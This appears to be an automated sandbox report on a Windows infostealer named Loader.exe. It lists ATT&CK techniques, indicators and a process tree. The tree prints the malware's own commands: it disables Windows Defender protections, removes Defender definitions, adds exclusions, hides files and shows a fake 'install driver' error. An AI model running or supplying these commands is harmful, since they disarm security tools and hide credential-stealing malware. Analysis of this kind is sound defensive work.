b2f93bda5c451f7a5f30d019fb79c8071afa22ae169905d782eb8278234c5e12

Analysis

max time kernel
39s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-01-2025 05:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.exe
Size

10.0MB
MD5

2c2442a79fa52676f059c00d8147996f
SHA1

fae8af8b7e96c8848abbb129f903837b88f22a9a
SHA256

b2f93bda5c451f7a5f30d019fb79c8071afa22ae169905d782eb8278234c5e12
SHA512

66c4e17ed26fbe8ea1ea41fd157a2811d6feda77f469b3219b0d04f42af66a34772efd46d63216d55250d9844575c352a792253c1e2d73f50d4c752870781b1e
SSDEEP

98304:ASDjWM8JEE1FJbswamaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYRJJcGhEb:AS07sReNTfm/pf+xk4dWRpmrbW3jmru

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4472	powershell.exe
2856	powershell.exe
1976	powershell.exe
2020	powershell.exe
3760	powershell.exe
2608	powershell.exe
4984	powershell.exe
4348	powershell.exe
1736	powershell.exe
64	powershell.exe
4952	powershell.exe

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	.scr
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2708	cmd.exe
3040	powershell.exe
1928	cmd.exe
1600	powershell.exe

Executes dropped EXE 12 IoCs

pid	Process
2492	rar.exe
3320	.scr
5084	.scr
4080	.scr
3264	.scr
2416	.scr
3028	.scr
4348	rar.exe
816	.scr
4404	.scr
3432	.scr
2932	.scr

Loads dropped DLL 64 IoCs

pid	Process
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
4960	Loader.exe
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
5084	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3264	.scr
3028	.scr
3028	.scr
3264	.scr
3264	.scr
3028	.scr
3028	.scr
3028	.scr
3028	.scr
3028	.scr
3028	.scr
3028	.scr
3028	.scr
4404	.scr
4404	.scr
4404	.scr
4404	.scr
4404	.scr

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
24	discord.com
25	discord.com
51	discord.com
52	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	ip-api.com
14	ip-api.com
22	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 11 IoCs

discovery

Process Discovery

T1057

pid	Process
4932	tasklist.exe
1796	tasklist.exe
4040	tasklist.exe
208	tasklist.exe
2476	tasklist.exe
4532	tasklist.exe
3872	tasklist.exe
4100	tasklist.exe
4892	tasklist.exe
1772	tasklist.exe
904	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4092	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023c95-21.dat	upx
behavioral2/memory/4960-25-0x00007FFEBD480000-0x00007FFEBDA68000-memory.dmp	upx
behavioral2/files/0x0007000000023c88-27.dat	upx
behavioral2/memory/4960-30-0x00007FFED1710000-0x00007FFED1734000-memory.dmp	upx
behavioral2/files/0x0007000000023c93-29.dat	upx
behavioral2/memory/4960-32-0x00007FFED5E10000-0x00007FFED5E1F000-memory.dmp	upx
behavioral2/files/0x0007000000023c92-34.dat	upx
behavioral2/files/0x0007000000023c8f-48.dat	upx
behavioral2/files/0x0007000000023c8e-47.dat	upx
behavioral2/files/0x0007000000023c8d-46.dat	upx
behavioral2/files/0x0007000000023c8c-45.dat	upx
behavioral2/files/0x0007000000023c8b-44.dat	upx
behavioral2/files/0x0007000000023c8a-43.dat	upx
behavioral2/files/0x0007000000023c89-42.dat	upx
behavioral2/files/0x0007000000023c87-41.dat	upx
behavioral2/files/0x0007000000023c9a-40.dat	upx
behavioral2/files/0x0007000000023c99-39.dat	upx
behavioral2/files/0x0007000000023c98-38.dat	upx
behavioral2/files/0x0007000000023c94-35.dat	upx
behavioral2/memory/4960-56-0x00007FFECCA40000-0x00007FFECCA59000-memory.dmp	upx
behavioral2/memory/4960-55-0x00007FFECCC90000-0x00007FFECCCBD000-memory.dmp	upx
behavioral2/memory/4960-58-0x00007FFECCA10000-0x00007FFECCA33000-memory.dmp	upx
behavioral2/memory/4960-60-0x00007FFEBD300000-0x00007FFEBD473000-memory.dmp	upx
behavioral2/memory/4960-62-0x00007FFECC740000-0x00007FFECC759000-memory.dmp	upx
behavioral2/memory/4960-67-0x00007FFEBD480000-0x00007FFEBDA68000-memory.dmp	upx
behavioral2/memory/4960-66-0x00007FFECC710000-0x00007FFECC73E000-memory.dmp	upx
behavioral2/memory/4960-65-0x00007FFED1680000-0x00007FFED168D000-memory.dmp	upx
behavioral2/memory/4960-71-0x00007FFECBF10000-0x00007FFECBFC8000-memory.dmp	upx
behavioral2/memory/4960-74-0x00007FFED1710000-0x00007FFED1734000-memory.dmp	upx
behavioral2/memory/4960-72-0x00007FFEBCA90000-0x00007FFEBCE05000-memory.dmp	upx
behavioral2/memory/4960-76-0x00007FFED27F0000-0x00007FFED2804000-memory.dmp	upx
behavioral2/memory/4960-78-0x00007FFED1640000-0x00007FFED164D000-memory.dmp	upx
behavioral2/memory/4960-80-0x00007FFECC350000-0x00007FFECC46C000-memory.dmp	upx
behavioral2/memory/4960-106-0x00007FFECCA10000-0x00007FFECCA33000-memory.dmp	upx
behavioral2/memory/4960-109-0x00007FFEBD300000-0x00007FFEBD473000-memory.dmp	upx
behavioral2/memory/4960-163-0x00007FFECC740000-0x00007FFECC759000-memory.dmp	upx
behavioral2/memory/4960-251-0x00007FFECC710000-0x00007FFECC73E000-memory.dmp	upx
behavioral2/memory/4960-254-0x00007FFECBF10000-0x00007FFECBFC8000-memory.dmp	upx
behavioral2/memory/4960-255-0x00007FFEBCA90000-0x00007FFEBCE05000-memory.dmp	upx
behavioral2/memory/4960-295-0x00007FFEBD300000-0x00007FFEBD473000-memory.dmp	upx
behavioral2/memory/4960-289-0x00007FFEBD480000-0x00007FFEBDA68000-memory.dmp	upx
behavioral2/memory/4960-290-0x00007FFED1710000-0x00007FFED1734000-memory.dmp	upx
behavioral2/memory/4960-303-0x00007FFECC350000-0x00007FFECC46C000-memory.dmp	upx
behavioral2/memory/4960-337-0x00007FFED1640000-0x00007FFED164D000-memory.dmp	upx
behavioral2/memory/4960-344-0x00007FFECCA10000-0x00007FFECCA33000-memory.dmp	upx
behavioral2/memory/4960-348-0x00007FFECBF10000-0x00007FFECBFC8000-memory.dmp	upx
behavioral2/memory/4960-347-0x00007FFED1680000-0x00007FFED168D000-memory.dmp	upx
behavioral2/memory/4960-346-0x00007FFECC740000-0x00007FFECC759000-memory.dmp	upx
behavioral2/memory/4960-345-0x00007FFEBD300000-0x00007FFEBD473000-memory.dmp	upx
behavioral2/memory/4960-343-0x00007FFECCA40000-0x00007FFECCA59000-memory.dmp	upx
behavioral2/memory/4960-342-0x00007FFECCC90000-0x00007FFECCCBD000-memory.dmp	upx
behavioral2/memory/4960-341-0x00007FFED5E10000-0x00007FFED5E1F000-memory.dmp	upx
behavioral2/memory/4960-340-0x00007FFED1710000-0x00007FFED1734000-memory.dmp	upx
behavioral2/memory/4960-339-0x00007FFECC710000-0x00007FFECC73E000-memory.dmp	upx
behavioral2/memory/4960-335-0x00007FFEBCA90000-0x00007FFEBCE05000-memory.dmp	upx
behavioral2/memory/4960-338-0x00007FFECC350000-0x00007FFECC46C000-memory.dmp	upx
behavioral2/memory/4960-336-0x00007FFED27F0000-0x00007FFED2804000-memory.dmp	upx
behavioral2/memory/4960-324-0x00007FFEBD480000-0x00007FFEBDA68000-memory.dmp	upx
behavioral2/memory/5084-370-0x00007FFEBB9E0000-0x00007FFEBBFC8000-memory.dmp	upx
behavioral2/memory/5084-371-0x00007FFEBCCD0000-0x00007FFEBCCF4000-memory.dmp	upx
behavioral2/memory/5084-372-0x00007FFED5E60000-0x00007FFED5E6F000-memory.dmp	upx
behavioral2/memory/5084-377-0x00007FFEBCA90000-0x00007FFEBCABD000-memory.dmp	upx
behavioral2/memory/5084-378-0x00007FFEBC720000-0x00007FFEBC739000-memory.dmp	upx
behavioral2/memory/5084-379-0x00007FFEBC6F0000-0x00007FFEBC713000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
372	cmd.exe
2504	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4584	cmd.exe
760	netsh.exe
3760	cmd.exe
2388	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 7 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1976	WMIC.exe
2496	WMIC.exe
3324	WMIC.exe
4292	WMIC.exe
1736	WMIC.exe
2300	WMIC.exe
3712	WMIC.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2648	systeminfo.exe
3288	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	taskmgr.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2504	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4472	powershell.exe
2608	powershell.exe
4472	powershell.exe
2608	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe
5016	powershell.exe
5016	powershell.exe
5016	powershell.exe
4984	powershell.exe
4984	powershell.exe
2220	powershell.exe
2220	powershell.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
4348	powershell.exe
4348	powershell.exe
100	taskmgr.exe
4300	powershell.exe
4300	powershell.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
1736	powershell.exe
1736	powershell.exe
1976	powershell.exe
1976	powershell.exe
1736	powershell.exe
1976	powershell.exe
100	taskmgr.exe
1600	powershell.exe
1600	powershell.exe
100	taskmgr.exe
100	taskmgr.exe
1128	powershell.exe
1128	powershell.exe
1600	powershell.exe
1128	powershell.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
64	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeIncreaseQuotaPrivilege	2484	WMIC.exe
Token: SeSecurityPrivilege	2484	WMIC.exe
Token: SeTakeOwnershipPrivilege	2484	WMIC.exe
Token: SeLoadDriverPrivilege	2484	WMIC.exe
Token: SeSystemProfilePrivilege	2484	WMIC.exe
Token: SeSystemtimePrivilege	2484	WMIC.exe
Token: SeProfSingleProcessPrivilege	2484	WMIC.exe
Token: SeIncBasePriorityPrivilege	2484	WMIC.exe
Token: SeCreatePagefilePrivilege	2484	WMIC.exe
Token: SeBackupPrivilege	2484	WMIC.exe
Token: SeRestorePrivilege	2484	WMIC.exe
Token: SeShutdownPrivilege	2484	WMIC.exe
Token: SeDebugPrivilege	2484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2484	WMIC.exe
Token: SeRemoteShutdownPrivilege	2484	WMIC.exe
Token: SeUndockPrivilege	2484	WMIC.exe
Token: SeManageVolumePrivilege	2484	WMIC.exe
Token: 33	2484	WMIC.exe
Token: 34	2484	WMIC.exe
Token: 35	2484	WMIC.exe
Token: 36	2484	WMIC.exe
Token: SeDebugPrivilege	2476	tasklist.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeIncreaseQuotaPrivilege	2484	WMIC.exe
Token: SeSecurityPrivilege	2484	WMIC.exe
Token: SeTakeOwnershipPrivilege	2484	WMIC.exe
Token: SeLoadDriverPrivilege	2484	WMIC.exe
Token: SeSystemProfilePrivilege	2484	WMIC.exe
Token: SeSystemtimePrivilege	2484	WMIC.exe
Token: SeProfSingleProcessPrivilege	2484	WMIC.exe
Token: SeIncBasePriorityPrivilege	2484	WMIC.exe
Token: SeCreatePagefilePrivilege	2484	WMIC.exe
Token: SeBackupPrivilege	2484	WMIC.exe
Token: SeRestorePrivilege	2484	WMIC.exe
Token: SeShutdownPrivilege	2484	WMIC.exe
Token: SeDebugPrivilege	2484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2484	WMIC.exe
Token: SeRemoteShutdownPrivilege	2484	WMIC.exe
Token: SeUndockPrivilege	2484	WMIC.exe
Token: SeManageVolumePrivilege	2484	WMIC.exe
Token: 33	2484	WMIC.exe
Token: 34	2484	WMIC.exe
Token: 35	2484	WMIC.exe
Token: 36	2484	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3324	WMIC.exe
Token: SeSecurityPrivilege	3324	WMIC.exe
Token: SeTakeOwnershipPrivilege	3324	WMIC.exe
Token: SeLoadDriverPrivilege	3324	WMIC.exe
Token: SeSystemProfilePrivilege	3324	WMIC.exe
Token: SeSystemtimePrivilege	3324	WMIC.exe
Token: SeProfSingleProcessPrivilege	3324	WMIC.exe
Token: SeIncBasePriorityPrivilege	3324	WMIC.exe
Token: SeCreatePagefilePrivilege	3324	WMIC.exe
Token: SeBackupPrivilege	3324	WMIC.exe
Token: SeRestorePrivilege	3324	WMIC.exe
Token: SeShutdownPrivilege	3324	WMIC.exe
Token: SeDebugPrivilege	3324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3324	WMIC.exe
Token: SeRemoteShutdownPrivilege	3324	WMIC.exe
Token: SeUndockPrivilege	3324	WMIC.exe
Token: SeManageVolumePrivilege	3324	WMIC.exe
Token: 33	3324	WMIC.exe
Token: 34	3324	WMIC.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe

Suspicious use of SendNotifyMessage 44 IoCs

pid	Process
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe
100	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 4960	2960	Loader.exe	82
PID 2960 wrote to memory of 4960	2960	Loader.exe	82
PID 4960 wrote to memory of 1756	4960	Loader.exe	83
PID 4960 wrote to memory of 1756	4960	Loader.exe	83
PID 4960 wrote to memory of 2028	4960	Loader.exe	84
PID 4960 wrote to memory of 2028	4960	Loader.exe	84
PID 4960 wrote to memory of 4444	4960	Loader.exe	85
PID 4960 wrote to memory of 4444	4960	Loader.exe	85
PID 4960 wrote to memory of 1644	4960	Loader.exe	88
PID 4960 wrote to memory of 1644	4960	Loader.exe	88
PID 4960 wrote to memory of 1724	4960	Loader.exe	91
PID 4960 wrote to memory of 1724	4960	Loader.exe	91
PID 1756 wrote to memory of 4472	1756	cmd.exe	93
PID 1756 wrote to memory of 4472	1756	cmd.exe	93
PID 1644 wrote to memory of 2476	1644	cmd.exe	94
PID 1644 wrote to memory of 2476	1644	cmd.exe	94
PID 4444 wrote to memory of 532	4444	cmd.exe	95
PID 4444 wrote to memory of 532	4444	cmd.exe	95
PID 1724 wrote to memory of 2484	1724	cmd.exe	97
PID 1724 wrote to memory of 2484	1724	cmd.exe	97
PID 2028 wrote to memory of 2608	2028	cmd.exe	96
PID 2028 wrote to memory of 2608	2028	cmd.exe	96
PID 4960 wrote to memory of 4392	4960	Loader.exe	99
PID 4960 wrote to memory of 4392	4960	Loader.exe	99
PID 4392 wrote to memory of 4416	4392	cmd.exe	101
PID 4392 wrote to memory of 4416	4392	cmd.exe	101
PID 4960 wrote to memory of 2224	4960	Loader.exe	102
PID 4960 wrote to memory of 2224	4960	Loader.exe	102
PID 2224 wrote to memory of 3028	2224	cmd.exe	104
PID 2224 wrote to memory of 3028	2224	cmd.exe	104
PID 4960 wrote to memory of 4324	4960	Loader.exe	105
PID 4960 wrote to memory of 4324	4960	Loader.exe	105
PID 4324 wrote to memory of 3324	4324	cmd.exe	107
PID 4324 wrote to memory of 3324	4324	cmd.exe	107
PID 4960 wrote to memory of 2844	4960	Loader.exe	108
PID 4960 wrote to memory of 2844	4960	Loader.exe	108
PID 2844 wrote to memory of 4292	2844	cmd.exe	110
PID 2844 wrote to memory of 4292	2844	cmd.exe	110
PID 4960 wrote to memory of 4092	4960	Loader.exe	158
PID 4960 wrote to memory of 4092	4960	Loader.exe	158
PID 4960 wrote to memory of 3596	4960	Loader.exe	113
PID 4960 wrote to memory of 3596	4960	Loader.exe	113
PID 4092 wrote to memory of 2320	4092	cmd.exe	115
PID 4092 wrote to memory of 2320	4092	cmd.exe	115
PID 3596 wrote to memory of 2856	3596	cmd.exe	116
PID 3596 wrote to memory of 2856	3596	cmd.exe	116
PID 4960 wrote to memory of 4360	4960	Loader.exe	118
PID 4960 wrote to memory of 4360	4960	Loader.exe	118
PID 4960 wrote to memory of 3592	4960	Loader.exe	117
PID 4960 wrote to memory of 3592	4960	Loader.exe	117
PID 3592 wrote to memory of 904	3592	cmd.exe	121
PID 3592 wrote to memory of 904	3592	cmd.exe	121
PID 4360 wrote to memory of 4532	4360	cmd.exe	122
PID 4360 wrote to memory of 4532	4360	cmd.exe	122
PID 4960 wrote to memory of 5008	4960	Loader.exe	123
PID 4960 wrote to memory of 5008	4960	Loader.exe	123
PID 4960 wrote to memory of 2708	4960	Loader.exe	125
PID 4960 wrote to memory of 2708	4960	Loader.exe	125
PID 4960 wrote to memory of 4012	4960	Loader.exe	127
PID 4960 wrote to memory of 4012	4960	Loader.exe	127
PID 4960 wrote to memory of 2124	4960	Loader.exe	128
PID 4960 wrote to memory of 2124	4960	Loader.exe	128
PID 4960 wrote to memory of 4584	4960	Loader.exe	131
PID 4960 wrote to memory of 4584	4960	Loader.exe	131

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4092	attrib.exe
620	attrib.exe
5024	attrib.exe
4584	attrib.exe
2320	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Users\Admin\AppData\Local\Temp\Loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('install driver', 0, 'error', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('install driver', 0, 'error', 0+16);close()"
      4⤵
      PID:532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4392
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:3028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
      4⤵
      Views/modifies file attributes
      PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
